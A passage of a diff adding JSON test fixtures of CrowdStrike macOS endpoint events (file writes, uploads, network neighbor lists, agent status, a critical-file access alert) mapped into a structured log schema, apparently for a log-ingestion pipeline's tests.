30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677502693\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff62714a708030d494ca0a7e60",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "CurrentSystemTags",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff62714a708030d494ca0a7e60",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:33.060Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ContextProcessId": "362208380891022165",
+                "ContextTimeStamp": "2021-07-07T17:05:33.027Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "SHA256HashData": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005",
+                "VnodeModificationType": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-985c-02152dd35bc1",
+                "name": "NewExecutableWrittenMacV2"
+            },
+            "device": {
+                "id": "ffffffff28414c2293e35c360213e723"
+            },
+            "event": {
+                "action": "NewExecutableWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:33.060Z",
+                "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1625677533.027\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"362208380891022165\",\"Size\":\"596224\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewExecutableWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677533060\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader\",\"VnodeModificationType\":\"0\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS",
+                "hash": {
+                    "sha256": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005"
+                },
+                "name": "app_mode_loader",
+                "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader",
+                "size": 596224,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff28414c2293e35c360213e723",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NewExecutableWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff28414c2293e35c360213e723",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "362208380891022165",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005",
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:48.827Z",
+            "crowdstrike": {
+                "AttemptNumber": 0,
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LfoUploadFlags": "4",
+                "SHA256HashData": "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a",
+                "Tags": [
+                    "312",
+                    "11544872091698",
+                    "21990232555653",
+                    "21990232555859",
+                    "26388279066700",
+                    "26388279066703",
+                    "26388279066704",
+                    "26388279066705",
+                    "26388279066708",
+                    "26388279066849",
+                    "26388279066855",
+                    "26388279066948",
+                    "26388279066958",
+                    "26388279066970",
+                    "26388279067150",
+                    "26388279067174",
+                    "26388279067175",
+                    "26405458935929",
+                    "26405458935963",
+                    "26405458935964",
+                    "26405458936063",
+                    "26405458936087",
+                    "26405458936088",
+                    "26405458936130",
+                    "26405458936163",
+                    "26405458936164",
+                    "26405458936166",
+                    "26405458936167",
+                    "26405458936242",
+                    "26405458936306",
+                    "26405458936307",
+                    "26405458936357",
+                    "26405458936510",
+                    "26405458936511",
+                    "26405458936522",
+                    "26405458936523",
+                    "26422638805193",
+                    "26422638805230",
+                    "26422638805244",
+                    "26422638805245",
+                    "26422638805246",
+                    "26439818674539",
+                    "26439818674540",
+                    "26439818674541",
+                    "26439818674542",
+                    "26439818674543",
+                    "26439818674544",
+                    "26439818674614",
+                    "26439818674615",
+                    "26439818674616",
+                    "26439818674617",
+                    "26439818674678",
+                    "26439818674679",
+                    "26439818674680",
+                    "26439818674882",
+                    "26439818674883",
+                    "26439818674884",
+                    "26439818674894",
+                    "26439818674895",
+                    "26439818674896",
+                    "26456998543646",
+                    "26456998543647",
+                    "26456998543648",
+                    "26456998543649",
+                    "26456998543650",
+                    "26456998543651",
+                    "26456998543652",
+                    "26456998543653",
+                    "26456998543654",
+                    "26456998543656",
+                    "26456998543721",
+                    "26456998543722",
+                    "26456998543744",
+                    "26456998543793",
+                    "26456998543811",
+                    "26456998543903",
+                    "26456998543904",
+                    "26456998543950",
+                    "26456998543963",
+                    "26456998544000",
+                    "26456998544045",
+                    "26456998544086",
+                    "26456998544087",
+                    "26456998544115",
+                    "30803505447073",
+                    "30803505447074",
+                    "30803505447075",
+                    "30803505447076",
+                    "30803505447077",
+                    "30803505447078",
+                    "30803505447194",
+                    "30803505447195",
+                    "30803505447196",
+                    "30803505447528",
+                    "30803505447529",
+                    "30803505447530",
+                    "30803505447532",
+                    "30803505447533",
+                    "30803505447534",
+                    "30803505447537",
+                    "30803505447538",
+                    "30803505447539",
+                    "30803505447541",
+                    "30803505447542",
+                    "30803505447543",
+                    "30803505447567",
+                    "30803505447568",
+                    "30803505447569",
+                    "30803505447571",
+                    "30803505447572",
+                    "30803505447573",
+                    "30803505447575",
+                    "30803505447576",
+                    "30803505447577",
+                    "30803505447579",
+                    "30803505447580",
+                    "30803505447581",
+                    "30803505447583",
+                    "30803505447584"
+                ],
+                "UploadId": "8023668629276690295",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-a2ab-024aafff599f",
+                "name": "LfoUploadDataCompleteMacV3"
+            },
+            "device": {
+                "id": "fffffffffbea48169985c2c2bae89d1d"
+            },
+            "event": {
+                "action": "LfoUploadDataComplete",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:03:48.827Z",
+                "id": "ffffffff-1111-11eb-a2ab-024aafff599f|fffffffffbea48169985c2c2bae89d1d|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"LfoUploadDataComplete\",\"LfoUploadFlags\":\"4\",\"AttemptNumber\":\"0\",\"ConfigStateHash\":\"3090255842\",\"SourceFileName\":\"/Users/user5/.rbenv/versions/2.6.5/bin/ruby\",\"Size\":\"3876424\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a\",\"UploadId\":\"8023668629276690295\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LfoUploadDataCompleteMacV3\",\"id\":\"ffffffff-1111-11eb-a2ab-024aafff599f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffbea48169985c2c2bae89d1d\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677428827\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user5/.rbenv/versions/2.6.5/bin",
+                "name": "ruby",
+                "path": "/Users/user5/.rbenv/versions/2.6.5/bin/ruby",
+                "size": 3876424,
+                "type": "file"
+            },
+            "host": {
+                "id": "fffffffffbea48169985c2c2bae89d1d",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LfoUploadDataComplete",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "fffffffffbea48169985c2c2bae89d1d",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a",
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:13.146Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "LightningLatencyState": "3",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b",
+                "name": "LightningLatencyInfoMacV1"
+            },
+            "device": {
+                "id": "ffffffffd452449b8d1eb7d85b146650"
+            },
+            "event": {
+                "action": "LightningLatencyInfo",
+                "created": "2021-07-07T17:04:13.146Z",
+                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffffd452449b8d1eb7d85b146650|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"event_simpleName\":\"LightningLatencyInfo\",\"LightningLatencyState\":\"3\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LightningLatencyInfoMacV1\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffd452449b8d1eb7d85b146650\",\"timestamp\":\"1625677453146\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
+            },
+            "host": {
+                "id": "ffffffffd452449b8d1eb7d85b146650",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LightningLatencyInfo",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffd452449b8d1eb7d85b146650",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:10.083Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InterfaceIndex": 6,
+                "NeighborList": [
+                    "40-C7-29-FF-FF-FF",
+                    "192.168.2.1",
+                    "1",
+                    "64-9A-BE-FF-FF-FF",
+                    "192.168.2.10",
+                    "0",
+                    "F0-FF-FF-FF-A0-14",
+                    "192.168.2.43",
+                    "0",
+                    "DE-58-FF-FF-5D-3B",
+                    "192.168.2.113",
+                    "0",
+                    "5E-AA-FF-FF-FF-20",
+                    "192.168.2.128",
+                    "0",
+                    "44-FF-FF-FF-03-DD",
+                    "192.168.2.136",
+                    "0",
+                    "EE-74-EE-EE-FF-0D",
+                    "192.168.2.137",
+                    "0",
+                    "3A-FF-FF-FF-03-26",
+                    "192.168.2.144",
+                    "0",
+                    "DE-79-FF-FF-FF-D4",
+                    "192.168.2.145",
+                    "0",
+                    "0E-24-FF-EE-EE-87",
+                    "192.168.2.152",
+                    "0",
+                    "CC-D9-AC-AF-66-F8",
+                    "192.168.2.153",
+                    "0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc0-06c6f5278873",
+                "name": "NeighborListIP4MacV1"
+            },
+            "device": {
+                "id": "ffffffff8eb649cf8d82be1e65629a0e"
+            },
+            "event": {
+                "action": "NeighborListIP4",
+                "category": [
+                    "host",
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:10.083Z",
+                "id": "ffffffff-1111-11eb-9dc0-06c6f5278873|ffffffff8eb649cf8d82be1e65629a0e|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"NeighborListIP4\",\"ConfigStateHash\":\"1620585913\",\"NeighborList\":\"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP4MacV1\",\"id\":\"ffffffff-1111-11eb-9dc0-06c6f5278873\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff8eb649cf8d82be1e65629a0e\",\"timestamp\":\"1625677450083\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff8eb649cf8d82be1e65629a0e",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NeighborListIP4",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff8eb649cf8d82be1e65629a0e",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:14.723Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365039419134863763",
+                "ContextTimeStamp": "2021-07-07T17:04:14.557Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-ab6e-0668ec51180b",
+                "name": "ZipFileWrittenMacV1"
+            },
+            "device": {
+                "id": "ffffffff2d984e32b702789b54f0f811"
+            },
+            "event": {
+                "action": "ZipFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:04:14.723Z",
+                "id": "ffffffff-1111-11eb-ab6e-0668ec51180b|ffffffff2d984e32b702789b54f0f811|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1625677454.557\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365039419134863763\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"07000001000000000000000000000000b1445a0900000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ZipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-ab6e-0668ec51180b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2d984e32b702789b54f0f811\",\"timestamp\":\"1625677454723\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache",
+                "extension": "zip",
+                "inode": "07000001000000000000000000000000b1445a0900000000",
+                "name": "2021-07-06T23:44:46.133Z.zip",
+                "path": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff2d984e32b702789b54f0f811",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ZipFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff2d984e32b702789b54f0f811",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365039419134863763",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:20.451Z",
+            "crowdstrike": {
+                "AgentLoadFlags": "0",
+                "AgentLocalTime": "2021-07-07T17:04:05.731Z",
+                "BiosManufacturer": "Apple Inc.",
+                "BiosReleaseDate": "2021-01-06T00:00:00.000Z",
+                "BiosVersion": "1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)",
+                "ChasisManufacturer": "Apple Inc.",
+                "ChassisType": "9",
+                "ConfigBuild": "1007.4.0013701.1",
+                "ConfigIDBase": "65994753",
+                "ConfigIDBuild": "13701",
+                "ConfigIDPlatform": "4",
+                "ConfigStateHash": "3967242894",
+                "ConfigurationVersion": "10",
+                "ContextTimeStamp": "2021-07-07T17:04:05.731Z",
+                "CpuFeaturesMask": "7494065083858915",
+                "CpuSignature": "591594",
+                "CpuVendor": "0",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "MicrocodeSignature": "16045690984229358334",
+                "MoboManufacturer": "Apple Inc.",
+                "MoboProductName": "Mac-E1008331FDC96864",
+                "ProvisionState": "1",
+                "SystemManufacturer": "Apple Inc.",
+                "SystemProductName": "MacBookPro16,1",
+                "SystemSerialNumber": "C02F649EMD6R",
+                "SystemSku": " ",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9",
+                "name": "AgentOnlineMacV13"
+            },
+            "device": {
+                "id": "ffffffffbea440b9aad8b5bf222d303f"
+            },
+            "event": {
+                "action": "AgentOnline",
+                "category": [
+                    "configuration",
+                    "package",
+                    "host"
+                ],
+                "created": "2021-07-07T17:04:20.451Z",
+                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"BiosReleaseDate\":\"01/06/2021\",\"CpuFeaturesMask\":\"7494065083858915\",\"ChasisManufacturer\":\"Apple Inc.\",\"SystemSerialNumber\":\"C02F649EMD6R\",\"event_platform\":\"Mac\",\"AgentLoadFlags\":\"0\",\"CpuVendor\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"BiosVersion\":\"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)\",\"CpuSignature\":\"591594\",\"EffectiveTransmissionClass\":\"0\",\"MoboProductName\":\"Mac-E1008331FDC96864\",\"timestamp\":\"1625677460451\",\"MicrocodeSignature\":\"16045690984229358334\",\"event_simpleName\":\"AgentOnline\",\"ContextTimeStamp\":\"1625677445.731\",\"SystemProductName\":\"MacBookPro16,1\",\"MoboManufacturer\":\"Apple Inc.\",\"ConfigStateHash\":\"3967242894\",\"ConfigBuild\":\"1007.4.0013701.1\",\"SystemSku\":\" \",\"SensorGroupingTags\":\"\",\"ConfigurationVersion\":\"10\",\"AgentLocalTime\":\"1625677445.731\",\"BiosManufacturer\":\"Apple Inc.\",\"Entitlements\":\"15\",\"name\":\"AgentOnlineMacV13\",\"ConfigIDPlatform\":\"4\",\"ComputerName\":\"comp2\",\"ChassisType\":\"9\",\"ConfigIDBuild\":\"13701\",\"SystemManufacturer\":\"Apple Inc.\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"ProvisionState\":\"1\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"Zero\"}",
+                "outcome": "success",
+                "type": [
+                    "change",
+                    "installation",
+                    "start"
+                ]
+            },
+            "file": {
+                "path": "Zero",
+                "type": "file"
+            },
+            "host": {
+                "hostname": "comp2",
+                "id": "ffffffffbea440b9aad8b5bf222d303f",
+                "name": "comp2",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "AgentOnline",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffbea440b9aad8b5bf222d303f",
+                "version": "6.24.13701.0"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "hosts": [
+                    "comp2"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:58.553Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365053399098988534",
+                "ContextTimeStamp": "2021-07-07T17:03:58.515Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "UnixMode": "384",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-956a-02748d01bd3d",
+                "name": "CriticalFileAccessedMacV1"
+            },
+            "device": {
+                "id": "ffffffff8eca418b7a861be9c5f7de1d"
+            },
+            "event": {
+                "action": "CriticalFileAccessed",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:03:58.553Z",
+                "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1625677438.515\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053399098988534\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileAccessedMacV1\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"timestamp\":\"1625677438553\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/daemon.plist\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "/private/var/db/dslocal/nodes/Default/users",
+                "extension": "plist",
+                "name": "daemon.plist",
+                "path": "/private/var/db/dslocal/nodes/Default/users/daemon.plist",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff8eca418b7a861be9c5f7de1d",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "CriticalFileAccessed",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff8eca418b7a861be9c5f7de1d",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365053399098988534",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:22.356Z",
+            "crowdstrike": {
+                "ConfigBuild": "1007.4.0013701.1",
+                "ConfigStateHash": "3967242894",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "MajorVersion": "19",
+                "MinorVersion": "6",
